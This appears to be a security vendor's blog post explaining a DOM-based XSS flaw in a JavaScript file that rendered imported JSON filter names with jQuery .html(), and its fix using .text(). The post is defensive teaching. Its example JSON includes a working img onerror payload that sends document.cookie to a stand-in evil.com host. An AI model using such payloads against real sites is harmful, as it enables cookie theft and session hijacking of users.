Back to Blog
critical SEVERITY5 min read

How DOM-based XSS via jQuery .html() happens in JavaScript and how to fix it

A critical DOM-based Cross-Site Scripting (XSS) vulnerability was discovered in CustomRankingInterface.js where user-imported JSON data containing malicious filter names could execute arbitrary JavaScript in victims' browsers. The fix replaces jQuery's unsafe `.html()` method with the safe `.text()` method, preventing script injection while preserving the intended functionality.

O
By Orbis AppSec
Published July 22, 2026Reviewed July 22, 2026

Answer Summary

DOM-based XSS (CWE-79) occurs in JavaScript when jQuery's `.html()` method renders untrusted data as HTML, allowing script injection. In this case, malicious filter names in imported JSON configurations could execute arbitrary JavaScript. The fix is to replace `.html()` with `.text()`, which treats input as plain text rather than HTML, preventing code execution while displaying the content safely.

Vulnerability at a Glance

cweCWE-79
fixReplace .html() with .text() to escape HTML entities and prevent script execution
riskArbitrary JavaScript execution in user browsers via malicious JSON imports
languageJavaScript (jQuery)
root causeUsing jQuery .html() to render untrusted filter names from user-imported JSON
vulnerabilityDOM-based Cross-Site Scripting (XSS)

Introduction

In the CustomRankingInterface.js file, a critical DOM-based XSS vulnerability lurked at line 133, waiting to be exploited. The file handles custom cup configuration imports—a feature that lets users share and load ranking filters via JSON. However, a single unsafe jQuery method call in the filter rendering logic created a dangerous attack vector.

The vulnerable code path was straightforward: when users imported JSON configurations through a textarea, the application would iterate through filter objects and render their names directly into the DOM. The problem? It used jQuery's .html() method, which interprets its argument as HTML markup rather than plain text.

$filter.find("a.toggle .name").html(filters[i].name);

This line at position 136 in the original code became the injection point. Any JavaScript payload embedded in a filter's name property would execute immediately upon import.

The Vulnerability Explained

DOM-based XSS occurs when client-side JavaScript writes untrusted data to the DOM in an unsafe way. Unlike reflected or stored XSS, the malicious payload never touches the server—it's processed entirely in the victim's browser.

Here's the vulnerable code in context:

var $filter = $(".filter.clone").clone();
$filter.removeClass("hide clone");
$filter.attr("index", i);
$filter.find("a.toggle .name").html(filters[i].name);  // VULNERABLE LINE
$filter.attr("type", filters[i].filterType);

$el.append($filter);

The filters[i].name value comes directly from user-imported JSON data. When an attacker crafts a malicious configuration file, they can embed JavaScript in the filter name:

{
  "filters": [
    {
      "name": "<img src=x onerror='document.location=\"https://evil.com/steal?cookie=\"+document.cookie'>",
      "filterType": "custom"
    }
  ]
}

Attack Scenario

  1. Attacker crafts payload: The attacker creates a custom cup configuration JSON file with an XSS payload embedded in a filter name field
  2. Social engineering: The attacker shares this "helpful" configuration on forums, Discord servers, or directly with targets
  3. Victim imports: The victim pastes the JSON into the import textarea, believing it's a legitimate configuration
  4. Payload executes: jQuery's .html() method parses the malicious filter name as HTML, the browser encounters the <img> tag with an onerror handler, and the JavaScript executes
  5. Impact: The attacker can steal session cookies, perform actions as the victim, redirect to phishing pages, or inject additional malicious content

Real-World Impact

For this application, successful exploitation could allow attackers to:
- Steal authentication tokens and session data
- Modify ranking configurations without user knowledge
- Inject persistent malicious content into the user's saved configurations
- Perform any action the victim can perform within the application

The Fix

The fix is elegant in its simplicity—a single method change that completely neutralizes the vulnerability:

Before (Vulnerable)

$filter.find("a.toggle .name").html(filters[i].name);

After (Secure)

$filter.find("a.toggle .name").text(filters[i].name);

The difference between .html() and .text() is critical:

Method Behavior Security
.html() Parses argument as HTML markup Dangerous - executes scripts
.text() Treats argument as plain text Safe - escapes HTML entities

When you use .text(), jQuery automatically escapes HTML special characters:
- < becomes &lt;
- > becomes &gt;
- " becomes &quot;
- & becomes &amp;

So our malicious payload:

<img src=x onerror='alert(1)'>

Gets rendered as literal text:

<img src=x onerror='alert(1)'>

The browser displays the text instead of parsing it as HTML, completely preventing script execution while still showing the filter name to users.

Prevention & Best Practices

1. Default to Safe Methods

Always use .text() or .textContent unless you explicitly need HTML rendering. If you must render HTML, sanitize it first with a library like DOMPurify:

// Safe: plain text
$element.text(userInput);

// If HTML is required, sanitize first
$element.html(DOMPurify.sanitize(userInput));

2. Content Security Policy (CSP)

Implement a strict CSP header to provide defense in depth:

Content-Security-Policy: default-src 'self'; script-src 'self'

3. Input Validation

While output encoding is the primary defense, validate JSON imports against a strict schema:

function validateFilter(filter) {
  if (typeof filter.name !== 'string' || filter.name.length > 100) {
    throw new Error('Invalid filter name');
  }
  // Additional validation...
}

4. Code Review Checklist

Flag these patterns during code review:
- .html() with any variable input
- .innerHTML assignments
- document.write() calls
- jQuery selectors built from user input

5. Static Analysis

Configure ESLint with security plugins to catch these patterns automatically:

{
  "plugins": ["security"],
  "rules": {
    "security/detect-unsafe-regex": "error"
  }
}

Key Takeaways

  • Never use .html() with user-controlled data in CustomRankingInterface.js or any file handling imported configurations
  • JSON imports are attack vectors — treat all fields in user-provided JSON as potentially malicious, not just obvious input fields
  • The filter name field was exploitable because it was rendered with .html() at line 136, demonstrating that any displayed field can be an XSS sink
  • One character saved the day — changing html to text completely eliminated the vulnerability while preserving functionality
  • Defense in depth matters — combine safe rendering methods with CSP headers and input validation

How Orbis AppSec Detected This

  • Source: User-imported JSON data via textarea, specifically the filters[i].name property from custom cup configurations
  • Sink: $filter.find("a.toggle .name").html(filters[i].name) in src/js/interface/CustomRankingInterface.js:136
  • Missing control: No HTML encoding or sanitization of the filter name before DOM insertion
  • CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)
  • Fix: Replaced .html() with .text() to automatically escape HTML entities and prevent script execution

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This DOM-based XSS vulnerability in CustomRankingInterface.js demonstrates how a single unsafe jQuery method can create a critical security hole. The attack vector—malicious JSON imports—is particularly insidious because users often trust configuration files shared within their communities.

The fix was straightforward: replace .html() with .text(). This pattern applies universally across jQuery codebases. Whenever you're rendering user-controlled data into the DOM, ask yourself: "Does this need to be interpreted as HTML?" If the answer is no—and it usually is—use the safe text methods.

Remember: security vulnerabilities often hide in the most mundane code. A filter name display seems harmless until it becomes an XSS injection point. Stay vigilant, use safe APIs by default, and let automated tools catch the patterns you might miss.

References

Frequently Asked Questions

What is DOM-based XSS?

DOM-based XSS is a type of cross-site scripting where malicious JavaScript is injected into the page through client-side code that unsafely writes user-controlled data to the DOM, causing the browser to execute attacker-controlled scripts.

How do you prevent DOM-based XSS in JavaScript?

Use safe DOM manipulation methods like `.text()` or `.textContent` instead of `.html()` or `.innerHTML`. Always treat user input as untrusted data and encode or escape it before rendering.

What CWE is DOM-based XSS?

DOM-based XSS is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Is input validation enough to prevent DOM-based XSS?

No, input validation alone is insufficient. While it helps, you must also use output encoding and safe DOM APIs. Defense in depth requires both validating input and using secure rendering methods.

Can static analysis detect DOM-based XSS?

Yes, static analysis tools can detect patterns like `.html()` being called with untrusted data. Tools like Semgrep, ESLint security plugins, and commercial SAST solutions can flag these dangerous sink patterns.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #383

Related Articles

critical

How Plaintext Credential Storage happens in JSON Configuration Files and how to fix it

A critical security issue was discovered in `assets/settings/global.json` where a real phone number (PII) was stored in plaintext alongside placeholder patterns for API keys and payment credentials. This design encouraged developers to substitute real credentials directly into a version-controlled file, creating a high risk of credential exposure via repository access or filesystem reads. The fix replaces the hardcoded phone number with a placeholder and reinforces safe configuration patterns.

high

How Quadratic CPU Consumption Vulnerabilities Happen in JavaScript YAML Parsers and How to Fix Them

A high-severity denial-of-service vulnerability in js-yaml versions 3.x and 4.x allowed attackers to trigger quadratic CPU consumption through specially crafted YAML documents using the !!omap tag. This fix upgrades js-yaml from 4.1.1 to 4.3.1 and from 3.14.2 to 3.15.1, eliminating the algorithmic complexity attack vector that could freeze Node.js applications processing untrusted YAML input.

high

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `scripts/build.js` where `execSync` was called with string-interpolated arguments (`sourceDir` and `outputPath`) inside a shell command. By replacing `execSync` with `spawnSync` using an argument array (no shell), the fix eliminates the possibility of shell metacharacter injection while preserving identical build behavior.

high

How Command Injection happens in Node.js child_process and how to fix it

A command injection vulnerability in nix.js's Release class allowed potentially malicious input through the `arch` parameter to be executed via shell commands. The fix replaced `execSync()` with `execFileSync()`, eliminating shell interpretation and preventing command injection by passing arguments as an array instead of a concatenated string.

critical

How Sensitive Data Exposure in Error Logging happens in TypeScript/Deno and how to fix it

A critical vulnerability in Supabase Edge Functions allowed sensitive authentication errors and API credentials to leak through verbose error logging. The `cancel-subscription/index.ts` function logged full error objects to the console, potentially exposing Paddle API keys and auth tokens in deployment logs. The fix sanitizes all error messages to log only safe error text while preserving debugging capability.

critical

How HTTP Header Injection Happens in Go and How to Fix It

A critical vulnerability in the file upload handler allowed attackers to inject CRLF sequences into HTTP response headers through crafted filenames. The fix sanitizes user-supplied filenames before using them in Content-Disposition headers, preventing header injection attacks that could lead to cache poisoning, session fixation, or XSS.